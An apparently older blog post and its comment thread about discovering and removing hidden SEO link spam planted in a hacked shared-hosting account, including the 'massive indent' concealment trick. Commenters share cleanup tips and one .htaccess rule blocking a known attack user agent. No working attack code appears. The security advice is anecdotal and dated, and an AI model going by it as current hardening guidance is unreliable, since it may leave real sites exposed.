Hack’d

I spent yesterday cleaning up some awful link spam that littered several of the domains I own. Some crafty fellow had stuffed hidden links to illegal MP3 sites in the footer of as many index files as they could find. I thought it’d be a good idea to document it in case anyone else runs into the same dilemma. Plus, hey, an excuse to write a multi-paragraph entry. Go me.

I’m not exactly sure _how_ the account was compromised, and I’d hate to point fingers without knowing. Could’ve been either of the two popular blogging software applications that are installed. Or it could’ve been a hack to the server in general. After some digging and some Googling, it turned out someone else had the exact same problem. A hidden directory was including a PHP file that was in turn including a .txt file filled with SEO spam and inserting it by IP address to most of my domains. I quickly deleted these files, but the links were still there.

The baffling part was that when opening any of the compromised files, the links weren’t in the source. Grepp’ing for the spam had it showing up in multiple files, but opening the file to edit showed nothing, leaving me to believe that the links were being dynamically inserted somehow. It took a helpful tech support agent to show me I’d fallen for one of the oldest tricks in the book: the huge block of spam links was just _indented_ a ridiculous amount. I hadn’t noticed the horizontal scrollbar at the bottom of the text editor, and sure enough scrolling over approximately 10,367 pixels to the right, there the spam was.

So after cleaning up 20 or so index files, changing passwords and updating software, all seems well again. If you run into link spam, and the usual fixes don’t help, check your logs for suspicious .txt includes, and beware of the “massive indent”.

25 Comments

  1. Doug Stewart says:

    I never did figure out exactly how the scumbags managed to accomplish their “feat” on my server — there were a couple of plugins on my WP install that may have been at fault as well.
    It’s definitely caused me to rethink my whole approach to security on my sites and take a much closer look at what I’m installing.

  2. Alan Bristow says:

    Thanks for this set of clues for what to look for when this happens Dan.
    A while back, I (entirely innocently) dropped using CSS display:none for fear it might make Google think my innocent style was there to do bad. Of course now I use left: -5000 etc to achieve the same thing in the hope it is less mis-interpretable by Google.
    Sigh, all this effort dealing with ‘baddies’ is _such_ a waste of good time.

  3. Gerben says:

    I had the same problem once. They put some links after the first paragraph closing-tag in all index.html files. It was on a shared hosting site. I believe they hacked the apache user-account.
    Since the site rarely has to be updated, I set all the files to be read-only. This should, in most cases, prevent these kinds of attacks on static html pages.
    This just shows how important good security is, even on ‘unimportant’ websites.

  4. Mark Wunsch says:

    A harrowing story. One can never be too careful with security, but for a lot of us front-end developers who are less experienced with server administration, it can be really tricky to figure it all out.
    What alerted you to the breach? Were the links evident on the site or hidden away some how? How did Dreamhost (assuming these sites are hosted there as well) help you through the issue? And what would you recommend for others to do to ensure that they don’t get a Da Vinci virus?

  5. Naomi Niles says:

    Oh, this happened to us a few weeks ago too. I about pulled all my hair out trying to find the spammy links too and figured out later that they were indented. What a pain!

  6. What alerted you to the breach?
    Fortunately several astute readers noticed the links in the source. After searching my account I found it was happening on multiple domains.
    Were the links evident on the site or hidden away some how?
    They were stuck at the bottom of the source, with a some inline JS and CSS to hide them from view (but not search engines).
    How did Dreamhost (assuming these sites are hosted there as well) help you through the issue?
    They were very helpful, actually. They recommended updating all software on the server. This didn’t entirely happen. SimpleBits still runs on a heavily-modified version of MovableType 3.14. And so it will stay until I have a free month to upgrade and migrate my customizations :)
    But Dreamhost did some grepping for me, and in the end they were the ones who pointed out the massive indent. I might still be scratching my head if they hadn’t pointed it out (as obvious as it is now).
    And what would you recommend for others to do to ensure that they don’t get a Da Vinci virus?
    I’m not familiar with that particular virus, but I’d recommend first updating any blog software (if you’re able), disable any plugins, change passwords, search your log files for POST requests, search your account for suspicious directories and files (this one ain’t easy if you have multiple domains, lots of places to hide), and do specific searches for .txt files that are being included via PHP (specific to my problem).

  7. Natalie says:

    Thanks for posting this, Dan. I have my 404 pages set up to email me when someone hits them, telling me their IP address and the site they came from. I did this originally to help me fix bad links for people to ease their experience, but it’s pretty scary the things I’ve found people trying to access that don’t exist. It give me the heebie jeebies to think of the stuff NOT hitting a 404 that hackers are able to get to. ‘Course, I feel a little bit special just knowing I’m cool enough that people even bother hacking my site. :D

  8. Mark Wunsch says:

    Thanks!
    BTW,
    The “Da Vinci” virus was a small reference to the movie, Hackers. Which, as well all know, was a documentary about hackers…

  9. Scott Nellé says:

    There was a flaw in wordpress that was recently fixed which allowed people to gain access to your files through the user registration if it was enabled. Keep an eye on your site; a lot of exploiters wrote sneaky scripts that would periodically re-add the spam links. The best solution is to do a fresh install of WordPress and it’s all plugins, deleting everything but your data and theme.
    That is, assuming WordPress is the popular blogging software in question.

  10. Anil says:

    Sorry to see you got hacked like that. I’d been reading up on this after seeing you and a few other people complaining about this kind of issue, and it seems like the folks who run search engines are saying it’s increasingly common. Now I get why our engineers spend so much time worrying about this stuff — if this becomes the norm, it seems like it’s bad for the web as a whole.

  11. Naz Hamid says:

    When I saw your Twitters yesterday, it all sounded very familiar to me. Sometime last year, the Dreamhost account that Khoi (Vinh) and I share was hacked in a similar way and we found a bunch of index files all suffixed with footer spam.
    This apparently occurred with quite a few Dreamhost accounts aside from ours and since then, I’ve moved most of my sites over to a better, more reliable host.
    But I was a little creeped out how spammers got into these files — I’m not sure if Dreamhost is to blame outright but I wasn’t sure where and how else this could have happened.

  12. @Naz: Good to know. I didn’t realize this might’ve been more widespread. And who knows how long those links have littered my own sites.

  13. Marco says:

    Yes, Naz is right, this is not something new or random, it happened last year to a lot of Dreamhost accounts, including Dave Shea. You can find more information there: http://mezzoblue.com/archives/2007/06/05/unsettling/

  14. eric says:

    I just had this happen and finally checked my logs, not for .txt, but for .php. Turns out I’ve been getting hit via an external site… the hack somehow used my TXP index.php to process a remote .txt file containing the malicious code.
    My solution was to edit php.ini and make a new .htaccess entry, which may or may not have a permanent effect:
    RewriteCond %{HTTP_USER_AGENT} ^DataCha0s
    RewriteRule ^(.*) http://lemonparty [dot you know what]
    I am, of course, running dreamhost.

  15. steveballmer says:

    You should run Vista! Then you would be secure!

  16. ChadL says:

    What has come in handy for me in the past is having your web roots as SVN working copies. That way, a simple svn status/diff/revert fixes your changed/hacked files.
    Of course, the root issue is avoiding the hack to begin with. :)

  17. Hamish M says:

    A similar thing happened to a friend of mine.
    http://i.never.nu/hack-update/
    Thanks for sharing your experience, Dan.

  18. We had this happen a while ago with our own sites, and I only noticed it when I was doing a manual update for a link across the site. It took a while, but we eventually traced it to our then host being compromised.
    We found this out by looking at other sites hosted on the same server and noticed that most of them had the same issue. Needless to say the host for our own site (which is hosted on a 3rd party server as opposed to our own for obvious reasons) has now been changed. Since then, no problems whatsoever.

  19. Hi,
    I had similar issues sometime back with one of my php-nuke based sites… It was mainly SQL injection based hacking then, your case seems to be different.
    Thanks for the tips…will do keep my eyes on the log file.
    Ajith

  20. I also host my site with Dreamhost, and I was having the exact same thing.
    It kept driving me nuts because I’d grep, and there would links in every single index.html, index.php, etc on the server.
    After talking to dreamhost, they recommended changing my password, which I had done, and it never happened again.
    So somehow, peoples passwords were leaked or have been accessed.
    I love DH, but this was particularly annoying…

  21. Levien says:

    I see it also from the bright side. This means that your website is getting very visible. Your site is getting spidered by the search engines. Unfortunately there are also bad spiders.

  22. A good idea is to chmod the files instead of deleting them, so that only root has read access. This will prevent anyone overwriting or uploading the same files later on if a new bug is found and exploited. Updating the software and changing password are of course the also needed. But as I can see you already done that:)

  23. Max says:

    I just had this happen and finally checked my logs, not for .txt, but for .php. Turns out I’ve been getting hit via an external site… the hack somehow used my TXP index.php to process a remote .txt file containing the malicious code.
    My solution was to edit php.ini and make a new .htaccess entry, which may or may not have a permanent effect

  24. Brightman09 says:

    Hi there,
    I see you are hosted on dreamhost. Overall do you find them reliable? I am worry about this issue you experienced!

  25. Hami says:

    I am planning to host my sie with godaddy, I heard a lot about them. DO you think they are safe ?